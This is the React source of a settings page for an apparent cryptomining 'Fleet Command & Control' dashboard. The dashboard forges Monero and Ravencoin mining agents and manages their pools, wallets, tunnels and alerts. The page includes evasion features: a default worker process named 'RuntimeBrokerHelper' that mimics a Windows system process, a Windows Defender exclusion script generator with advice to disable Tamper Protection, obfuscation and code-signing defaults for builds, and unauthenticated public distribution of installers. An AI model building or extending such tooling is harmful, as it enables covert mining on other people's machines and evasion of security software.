import { useState, useEffect, useRef } from 'react'; import { api } from '../api/client'; import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth'; import type { ServerConfig, ServerInfo } from '../types'; import { DEFAULT_PRESET_IDS, orderedPoolsFromSelection, applyPoolsToForgeFields, DEFAULT_RVN_PRESET_IDS, orderedRVNPoolsFromSelection, applyRVNPoolsToForgeFields, } from '../help/poolPresets'; import { looksLikeXMRWallet } from '../help/forgeValidation'; import { HelpTip, FieldHint } from '../components/HelpTip'; import PoolPresetPicker from '../components/PoolPresetPicker'; import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker'; import type { BackupPool } from '../types'; import NeonCard from '../components/NeonCard/NeonCard'; import FleetTasksPanel from '../components/Fleet/FleetTasksPanel'; import FleetRuntimePanel from '../components/Fleet/FleetRuntimePanel'; import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets'; import { useSound } from '../context/SoundContext'; import { useAmbientMusic } from '../context/AmbientMusicContext'; import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic'; import { useVisualEffects } from '../context/VisualEffectsContext'; import { FORGE_SKIN_IDS, loadStoredForgeTheme, storeForgeTheme, type ForgeSkinId, type ForgeThemeOverride, } from '../help/forgeOperationModes'; import { buildDefenderExclusionScript, defaultWindowsInstallPreview, } from '../help/defenderExclusion'; import CalibrationAIControl, { DEFAULT_AI_INTERVAL_SEC, DEFAULT_AI_LOCAL_ENDPOINT, } from '../components/CalibrationAIControl'; /** Recursively merge `override` into `base`, preserving keys not in `override`. */ export function deepMerge(base: T, override: Partial): T { const result = { ...base } as T; for (const key in override) { const val = override[key]; const baseVal = base[key]; if ( val !== null && val !== undefined && typeof val === 'object' && !Array.isArray(val) && typeof baseVal === 'object' && baseVal !== null && !Array.isArray(baseVal) ) { result[key] = deepMerge(baseVal as object, val as object) as T[typeof key]; } else if (val !== undefined) { result[key] = val as T[typeof key]; } } return result; } export default function SettingsPage() { const { enabled: sfxEnabled, volume: sfxVolume, hoverEnabled, hoverVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, setHoverEnabled, setHoverVolume, preview: previewSfx, previewHover, } = useSound(); const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic(); const { glowParticles, setGlowParticles } = useVisualEffects(); const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme); const [config, setConfig] = useState(null); const [serverInfo, setServerInfo] = useState(null); const [loading, setLoading] = useState(true); const [saving, setSaving] = useState(false); const [saveMessage, setSaveMessage] = useState(''); const [newUser, setNewUser] = useState(''); const [newPass, setNewPass] = useState(''); const [sessionUser, setSessionUser] = useState(''); const [sessionPass, setSessionPass] = useState(''); const [userMsg, setUserMsg] = useState(''); const [rotatingSecret, setRotatingSecret] = useState(false); const [rotateMsg, setRotateMsg] = useState(''); const [backingUp, setBackingUp] = useState(false); const [backupMsg, setBackupMsg] = useState(''); const [testingAlerts, setTestingAlerts] = useState(false); const [alertTestMsg, setAlertTestMsg] = useState(''); const [avInstallPath, setAvInstallPath] = useState(defaultWindowsInstallPreview()); const [avProcessName, setAvProcessName] = useState('RuntimeBrokerHelper'); const [avScriptMsg, setAvScriptMsg] = useState(''); const fileInputRef = useRef(null); useEffect(() => { Promise.all([api.getConfig(), api.getServerInfo()]) .then(([cfg, info]) => { const detectedLan = info.lan_url?.trim() || (info.local_ips?.[0] ? `http://${info.local_ips[0]}:${cfg.port || info.port || 8989}` : ''); const publicUrl = cfg.server?.public_url?.trim() || detectedLan; setConfig({ ...cfg, rvn_wallet: cfg.rvn_wallet ?? { address: '', payment_id: '' }, rvn_pool: cfg.rvn_pool ?? { host: 'rvn.2miners.com', port: 6060, use_tls: false, password: 'x', backup_pools: [], }, tunnel_defaults: { cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '', cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '', }, alerts: { ...cfg.alerts, notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true, notify_agent_reconnect: cfg.alerts?.notify_agent_reconnect ?? true, notify_agent_offline: cfg.alerts?.notify_agent_offline ?? true, notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true, notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true, notify_build_complete: cfg.alerts?.notify_build_complete ?? true, notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true, }, server: { public_url: publicUrl, stats_retention_hours: cfg.server?.stats_retention_hours ?? 168, build_retention_days: cfg.server?.build_retention_days ?? 30, pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30, websocket_ping_seconds: cfg.server?.websocket_ping_seconds ?? 30, max_agents: cfg.server?.max_agents ?? 256, max_build_size_mb: cfg.server?.max_build_size_mb ?? 150, log_agent_connections: cfg.server?.log_agent_connections ?? true, log_share_submissions: cfg.server?.log_share_submissions ?? false, log_pool_traffic: cfg.server?.log_pool_traffic ?? false, strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false, dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'Fleet Command & Control', open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true, public_builds_enabled: cfg.server?.public_builds_enabled ?? false, public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3, }, }); setServerInfo(info); }) .catch(console.error) .finally(() => setLoading(false)); }, []); const updateField = (path: string, value: unknown) => { if (!config) return; const newConfig = { ...config }; const keys = path.split('.'); let obj: Record = newConfig as unknown as Record; for (let i = 0; i < keys.length - 1; i++) { const key = keys[i]; if (!obj[key] || typeof obj[key] !== 'object') { obj[key] = {}; } obj = obj[key] as Record; } obj[keys[keys.length - 1]] = value; setConfig(newConfig); }; const handleSave = async () => { if (!config) return; const wallet = config.wallet.address?.trim() ?? ''; if (wallet && !looksLikeXMRWallet(wallet)) { const strict = config.server?.strict_wallet_validation ?? false; if (strict) { setSaveMessage('Save blocked: wallet does not look like a valid Monero mainnet address.'); return; } if (!window.confirm('Wallet does not look like a standard Monero address. Save anyway?')) { return; } } setSaving(true); setSaveMessage(''); try { let payload = config; if (config.server?.ai_control_enabled) { payload = { ...config, server: { ...config.server, ai_endpoint: config.server.ai_endpoint?.trim() || config.server.ai_local_endpoint?.trim() || DEFAULT_AI_LOCAL_ENDPOINT, ai_no_context: true, ai_decision_interval_sec: config.server.ai_decision_interval_sec ?? config.server.ai_interval_sec ?? DEFAULT_AI_INTERVAL_SEC, }, }; } const updated = await api.updateConfig(payload); setConfig(updated); setSaveMessage('Calibration saved — control server updated.'); setTimeout(() => setSaveMessage(''), 4000); } catch (err: unknown) { setSaveMessage(`Save failed: ${err instanceof Error ? err.message : 'unknown error'}`); } finally { setSaving(false); } }; const handleExportConfig = () => { if (!config) return; const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' }); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = 'aetherforge-server-config.json'; a.click(); URL.revokeObjectURL(url); }; const handleFullBackup = async () => { setBackingUp(true); setBackupMsg(''); try { await api.downloadBackup(); setBackupMsg('Backup downloaded.'); setTimeout(() => setBackupMsg(''), 4000); } catch (e: unknown) { setBackupMsg('Backup failed: ' + (e instanceof Error ? e.message : String(e))); } finally { setBackingUp(false); } }; const handleImportConfig = () => fileInputRef.current?.click(); const handleFileSelected = (e: React.ChangeEvent) => { const file = e.target.files?.[0]; if (!file) return; const reader = new FileReader(); reader.onload = (evt) => { try { const data = JSON.parse(evt.target?.result as string); // Deep-merge so importing a partial config (e.g. only "pool" key) doesn't // wipe unrelated nested sections like "default_agent" or "mining". setConfig((prev) => (prev ? deepMerge(prev, data) : prev)); setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`); } catch { setSaveMessage('Invalid JSON file.'); } }; reader.readAsText(file); e.target.value = ''; }; const handleSessionLogin = () => { if (!sessionUser || !sessionPass) return; setStoredAuth(sessionUser, sessionPass); setUserMsg('Session login saved — API calls from this browser will authenticate.'); setTimeout(() => setUserMsg(''), 4000); }; const handleSessionLogout = () => { clearStoredAuth(); setSessionUser(''); setSessionPass(''); setUserMsg('Session login cleared.'); setTimeout(() => setUserMsg(''), 3000); }; const handleTestAlerts = async () => { if (!config) return; setTestingAlerts(true); setAlertTestMsg(''); try { if (!config.alerts.telegram_bot_token?.trim() && !config.alerts.email_enabled) { setAlertTestMsg('Enter Telegram token + chat ID (or enable SMTP) first.'); return; } await api.updateConfig(config); const result = await api.testAlerts(); const parts: string[] = []; const tg = result.telegram; if (tg) { parts.push(tg.sent ? '✓ Telegram delivered' : `✕ Telegram: ${tg.error || 'failed'}`); } const smtp = result.smtp; if (smtp) { parts.push(smtp.sent ? '✓ Email delivered' : `✕ Email: ${smtp.error || 'failed'}`); } setAlertTestMsg(parts.join(' · ') || 'No channels configured.'); if (tg?.sent || smtp?.sent) previewSfx('success'); } catch (e: unknown) { setAlertTestMsg('Test failed: ' + (e instanceof Error ? e.message : String(e))); } finally { setTestingAlerts(false); setTimeout(() => setAlertTestMsg(''), 12000); } }; const handleRotateSecret = async () => { if (!window.confirm( 'Rotate fleet secret?\n\n' + 'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' + 'Click OK only if you are ready to re-forge your entire fleet.' )) return; setRotatingSecret(true); setRotateMsg(''); try { await api.rotateFleetSecret(); setRotateMsg('Secret rotated. Re-forge all agents to reconnect.'); } catch (e: unknown) { setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e))); } finally { setRotatingSecret(false); setTimeout(() => setRotateMsg(''), 6000); } }; const handleAddUser = async () => { if (!newUser || !newPass) return; try { await api.createUser(newUser, newPass); setUserMsg(`User "${newUser}" added successfully!`); if (!getStoredAuth()) { setStoredAuth(newUser, newPass); } setNewUser(''); setNewPass(''); setTimeout(() => setUserMsg(''), 3000); } catch { setUserMsg('Failed to save user — sign in under Browser session first.'); setTimeout(() => setUserMsg(''), 4000); } }; if (loading) { return (

SERVER ONLY

Calibrate

Loading server calibration...

); } if (!config) { return (

Failed to load server configuration.

); } const s = config.server || { public_url: '', stats_retention_hours: 168, build_retention_days: 30, pool_reconnect_seconds: 30, websocket_ping_seconds: 30, max_agents: 256, max_build_size_mb: 150, log_agent_connections: true, log_share_submissions: false, log_pool_traffic: false, strict_wallet_validation: false, dashboard_subtitle: '', open_firewall_on_start: true, obfuscate_default: false, sign_enabled: false, sign_cert_thumbprint: '', sign_tool_path: '', sign_timestamp_url: 'http://timestamp.digicert.com', public_builds_enabled: false, public_builds_latest_n: 3, }; return (

CONTROL SERVER · LOCAL HOST

Calibrate

Settings for this machine only — the dashboard, pool relay, and LAN address. Miner installers are built in the Forge tab.

{backupMsg && (
{backupMsg}
)}
{saveMessage && (
{saveMessage}
)} {serverInfo && (

DETECTED ENDPOINTS

{(serverInfo.lan_url || serverInfo.local_ips?.length) ? (

LAN:{' '} {serverInfo.lan_url || serverInfo.suggested_url}

) : null} {serverInfo.tunnel_url ? (

HTTPS (tunnel):{' '} {serverInfo.tunnel_url}

) : serverInfo.cloudflared_configured ? (

Cloudflare tunnel connector is configured on this server — open the dashboard via your tunnel hostname to see the public HTTPS endpoint here.

) : null} {serverInfo.local_ips?.length > 0 && (

IPs on this host: {serverInfo.local_ips.join(' · ')}

)}

Workers on your LAN need the LAN address — not localhost. Remote workers can use the HTTPS tunnel URL when cloudflared is running.

)}

Windows Defender Exclusions

Generate a PowerShell script to allowlist your forge install path and worker process. Run it manually as Administrator on each mining PC — the agent does not silently bypass AV. Disable Tamper Protection temporarily if exclusions are rejected.

setAvInstallPath(e.target.value)} placeholder="%LOCALAPPDATA%\CryptoMiner\worker-{build_short}" />
setAvProcessName(e.target.value)} placeholder="RuntimeBrokerHelper" />
{avScriptMsg && (

{avScriptMsg}

)}

Calibration Control

Choose how the server steers fleet behavior — weighted logic gates or a local LLM loop.

Deck Atmosphere

Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on low-power devices if you want a calmer deck.

Seasonal forge chrome on The Forge page. Auto follows the selected operation mode preset; pick a skin to override.

Sound & Haptics

Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere on the deck first to unlock audio. Fleet events (agents, shares, alerts) use separate cues.

setSfxVolume(parseInt(e.target.value, 10) / 100)} />

Hover highlight sounds

Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid mouse movement stays quiet. Muted when click sounds are off.

setHoverVolume(parseInt(e.target.value, 10) / 100)} />

Background music

Optional looping ambient track served from {AMBIENT_MUSIC_SRC}. Use the mini player in the bottom-right corner on any page, or enable here. Defaults off — browsers block autoplay until you press play or toggle this on.

setBgmVolume(parseInt(e.target.value, 10) / 100)} />

Control Server

How this dashboard and API are hosted on your network.

updateField('port', parseInt(e.target.value) || 8989)} /> Restart server after changing port.
updateField('data_dir', e.target.value)} />
updateField('server.public_url', e.target.value)} /> {(serverInfo?.lan_url || serverInfo?.suggested_url) && ( )}
updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)} />

After saving, restart LAUNCH / the server. Connector also reads data/cloudflared-token.txt on USB.

updateField('server.dashboard_subtitle', e.target.value)} />

Upstream Pool

The control server connects here and relays work to your fleet. Pick presets or add your own — unreachable pools are skipped automatically.

({ host: bp.host, port: bp.port, tls: bp.use_tls, pass: config.pool.password || 'x' }) )} onChange={(next) => { updateField('pool.host', next.pool_host); updateField('pool.port', next.pool_port); updateField('pool.use_tls', next.pool_tls); updateField( 'pool.backup_pools', (next.backup_pools ?? []).map((bp) => ({ host: bp.host, port: bp.port, use_tls: bp.tls, })) ); }} />
updateField('pool.password', e.target.value)} />
updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />

Fleet Payout Wallet

Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.

updateField('wallet.address', e.target.value)} />
updateField('wallet.payment_id', e.target.value)} />

Ravencoin (GPU) Pool

Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.

updateField('rvn_wallet.address', e.target.value)} />
({ host: bp.host, port: bp.port, tls: bp.use_tls, }))} onChange={(fields) => { updateField('rvn_pool.host', fields.rvn_pool_host); updateField('rvn_pool.port', fields.rvn_pool_port); updateField('rvn_pool.use_tls', fields.rvn_pool_tls); updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x'); updateField('rvn_pool.backup_pools', (fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({ host: bp.host, port: bp.port, use_tls: bp.tls, })) ); }} />

Fleet Alerts

Dashboard thresholds for agent health.

updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />

Alert Notifications

Telegram, optional webhook, and email for fleet events (operator pub/sub — MITRE T1071.005 lite). Set bot token + chat ID or webhook URL, choose what to send, then save.

updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />

JSON POST: event, title, message — on connect, offline, and other enabled alerts.

Open your bot in Telegram, send any message (e.g. /start), then use{' '} @userinfobot to copy your numeric ID, or read it from getUpdates on the Bot API. Save Calibrate, then test.

{alertTestMsg && {alertTestMsg}}

Notify me when…

{config.alerts.email_enabled && ( <>
updateField('alerts.smtp_host', e.target.value)} />
updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
updateField('alerts.smtp_user', e.target.value)} />
updateField('alerts.smtp_password', e.target.value)} />
updateField('alerts.email_to', e.target.value)} />
updateField('alerts.email_from', e.target.value)} />
)}

Emberwake / Public Builds

Control which forged installers appear on the login-page public builds drawer and unauthenticated{' '} /api/v1/public/builds API. Mark individual builds public in Builds, or enable all-builds mode below.

updateField('server.public_builds_latest_n', parseInt(e.target.value, 10) || 3)} /> When all-builds mode is off, login drawer lists pinned + explicitly public builds + this many recent forges.

Forge Pipeline

Defaults for obfuscation and code signing applied when forging on this control PC.

updateField('server.sign_cert_thumbprint', e.target.value)} />
updateField('server.sign_tool_path', e.target.value)} />
updateField('server.sign_timestamp_url', e.target.value)} />

Data & Limits

Retention and capacity for this host.

updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
updateField('server.max_agents', parseInt(e.target.value) || 256)} />
updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />

Server Logging

What this control server writes to its log.

Access Control

API routes require login. On first server start, credentials are printed once in the server console (admin + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).

setSessionUser(e.target.value)} />
setSessionPass(e.target.value)} />
{getStoredAuth() && Session active}
setNewUser(e.target.value)} />
setNewPass(e.target.value)} />
{userMsg && (
{userMsg}
)}

Fleet Security

A Fleet Secret is auto-generated on first server start and baked into every forged agent. Agents without the correct secret are rejected. Use rotation if the secret is compromised — it immediately kicks all connected agents; re-forge to reconnect.

⚠ Kicks all agents. You must re-forge after rotating.
{rotateMsg && (

{rotateMsg}

)}
); }